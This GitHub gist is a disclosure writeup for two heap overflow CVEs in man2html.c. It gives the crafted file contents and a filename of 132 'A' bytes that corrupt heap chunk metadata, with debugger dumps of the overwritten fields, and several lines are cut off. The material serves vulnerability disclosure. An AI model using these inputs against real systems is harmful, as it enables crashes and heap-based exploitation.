untaman / gist:cb58123fe89fc65e3984165db5d40933

Last active 3 months ago

☆ Star

<> Code   -o- Revisions 3

CVE-2021-40647 and CVE-2021-40648

gistfile1.txt

```
 Here is the writeup for CVE-2021-40647.

A specific string being read in from a file will overwrite the size parameter in the top chunk of the heap. This at least causes the progra

The user craft a file containing the string containing  the bytes "\x27" * 1 ; '\x53'*2 ; '\x42'*19984' ; '\xff'*16. This will cause a segm

Top chunk | IS_MMAPED
Addr: 0x555555779680
prev_size: 0x4242424242424242    <== User Data
size: 0xffffffffffffff42         <== User Data
fd: 0x44443c3e412f3cff
bk: 0xa3e
fd_nextsize: 0x00
bk_nextsize: 0x00

It can be seen the both the size and the prev size parameters are overwritten with user data. If the user craft a file containing the strin

Allocated chunk | PREV_INUSE | IS_MMAPED | NON_MAIN_ARENA
Addr: 0x555555779680
prev_size: 0x4242424242424242    <== User Data
size: 0xffffffffffffffff         <== User Data
fd: 0x3e44443c3e412f3c
bk: 0x0a
fd_nextsize: 0x00
bk_nextsize: 0x00

Both errors occur at line 3203 of 'man2html.c'.
-------------------------------------------------------------------

 Here is the information on CVE-2021-40648.

A filename can be created to overwrite the previous size parameter of the next chunk and the fd, bk, fd_nextsize, bk_nextsize of the curren


The user can create a file of name 'A'*132 and overwrite the  previous size parameter of the next chunk and the fd, bk, fd_nextsize, bk_nex

Before free at line 3191 of 'man2html.c':

Allocated chunk | PREV_INUSE
Addr: 0x555555764660
prev_size: 0x00
size: 0x91
fd: 0x4141414141414141            <== User Data
bk: 0x4141414141414141  <== User Data
fd_nextsize: 0x4141414141414141   <== User Data
bk_nextsize: 0x4141414141414141   <== User Data

Allocated chunk | PREV_INUSE
Addr: 0x5555557646f0
prev_size: 0x41414141             <== User Data
size: 0x231
fd: 0xfbad2488
bk: 0x55555576497b
fd_nextsize: 0x55555576497b
bk_nextsize: 0x555555764960


After free at line 3194 of 'man2html.c':


Allocated chunk | PREV_INUSE
Addr: 0x555555764660
prev_size: 0x00
size: 0x91
fd: 0x4141414141414141             <== User Data
bk: 0x4141414141414141             <== User Data
fd_nextsize: 0x4141414141414141    <== User Data
bk_nextsize: 0x4141414141414141    <== User Data

Free chunk (tcache) | PREV_INUSE
Addr: 0x5555557646f0
prev_size: 0x41414141              <== User Data
size: 0x231
fd: 0x00
bk: 0x555555764010
fd_nextsize: 0x00
```

```
bk_nextsize: 0x00
```